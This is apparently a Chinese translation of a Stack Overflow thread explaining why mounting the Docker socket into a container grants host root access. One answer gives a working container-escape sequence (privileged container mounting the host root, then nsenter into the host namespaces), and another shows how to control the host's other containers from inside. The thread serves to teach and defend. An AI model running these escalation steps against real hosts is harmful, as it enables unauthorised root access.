/var/run/docker.sock的Docker安全风险是什么?

19
这篇博客文章中,我在评论区找到了以下引用:

Ben Firshman

是的 - 你说得对,我应该指出Docker套接字的安全问题。目前这是实际生产中的主要障碍,我们一定会寻求帮助让它更好地运作,就像你从待办事项列表中注意到的那样。

虽然我确定这对很多人来说是有意义的,但对于我们中的其他人,是否有人能清楚地解释一下这个“安全问题”是什么?我认为它指的是:

    volumes:
  - "/var/run/docker.sock:/var/run/docker.sock"

在docker-compose文件中。这正确吗?这会如何被利用?这是否有效地禁止了在生产环境中使用此方法?如果是,是否有解决方法?

4个回答

24
对于我们大多数人来说,有人可以用清晰的术语解释一下这个“安全问题”究竟是什么吗?
docker的所有者/var/run/docker.sock是运行容器的主机的root用户,它默认属于docker组。这就是为什么将var/run/docker.sock挂载到另一个容器中会给你root权限,因为现在你可以做任何一个具有docker组成员身份的root用户可以做的事情。
这是否有效地禁止了该方法在生产环境的使用?如果是这样,是否有解决方法?
可能这些帖子对解决问题有所帮助:https://integratedcode.us/2016/04/08/user-namespaces-sharing-the-docker-unix-socket/https://integratedcode.us/2016/04/20/sharing-the-docker-unix-socket-with-unprivileged-containers-redux/
退一步,了解需要挂载var/run/docker.sock的用例,并查看是否有替代方法来满足该用例将非常有用。不幸的是,在问题中没有提供用例描述,很难提供避免挂载unix套接字的替代方法。
祝你好运,赞扬你尝试做正确的事情!

1
一篇最近关于Docker安全最佳实践的好文章提到了这个问题,以及在使用Docker时要避免的其他安全陷阱。此外,在Hacker News的这条评论中,有关于如何利用这个问题的解释。 - Arnold Schrijver

18
这是一个旧问题,但我希望我能给你一个确切的例子。

有人能用清晰的术语解释一下这个“安全问题”到底是什么吗?

这里是漏洞的核心:

sh0% docker run -v /var/run/docker.sock:/ourdocker.sock:ro -it ubuntu bash
sh1# docker -H unix:///ourdocker.sock run --privileged -v /:/host ubuntu bash
sh2# nsenter --mount=/host/proc/1/ns/mnt --pid=/host/proc/1/ns/pid
sh3# # now we are in the host namespaces with root access

如果您使用用户命名空间,则利用此问题更加困难,但在某些情况下仍然可能发生(并且您仍然可以影响在同一主机上运行的其他容器)。
请注意,尽管上面的示例使用了--privileged,但是即使您拥有阻止--privilegedDocker AuthZ插件,仍然可以在没有--privileged的情况下执行此操作(因此您仍然不安全)。

3
任何能够写入dockerd socket的进程都可以在主机上拥有root权限... 是否在生产环境中使用取决于您。

1
那似乎是引语的更好表述。我以为我写得足够了,但我正在寻找“如何” - 一旦我看到“如何”可以利用它来获得root访问权限,那么不仅会更好地理解,而且能够确定我是否在生产中使用它。 - JoeG
1
https://www.lvh.io/posts/dont-expose-the-docker-socket-not-even-to-a-container.html - mestia
1
这是一篇很好的文章,因为它清楚地警告我们不要在生产环境中这样做。然而,对于我的问题并没有更多的解释。这篇文章提到:“任何能够写入dockerd套接字的进程实际上都具有root访问权限。” 我的问题是:这可能对你们许多人来说很清楚,但对于“我们其他人”来说,可以解释一下吗?这样清楚了吗? - JoeG
1
博客文章中的视频逐步展示了如何利用Docker容器并在主机系统上获得root权限。它在我使用Ubuntu 14.04时起作用。不幸的是,我不是Docker方面的安全专家,无法提供更多细节。 - mestia

2

被接受的答案提供了很好的解释,因此我不会重复任何关于您正在挂载归root所有的文件的详细信息。

也许以下示例对一些读者来说是微不足道的,但我惊讶地发现没有人提到它。

请记住,您可以访问主机上一个非常特别的文件-docker.sock

因此,如果您在容器内安装Docker:

apt-get update  
apt-get install docker.io -y

或者使用容器创建的一行代码:

docker run -it -v /var/run/docker.sock:/var/run/docker.sock ubuntu:latest sh -c  "apt-get update ; apt-get install docker.io -y ; bash"

(在容器内使用docker ps命令检查是否看到了主机上运行的其他容器)。

现在您可以完全控制主机中的其他容器。


网页内容由stack overflow 提供, 点击上面的
可以查看英文原文,
原文链接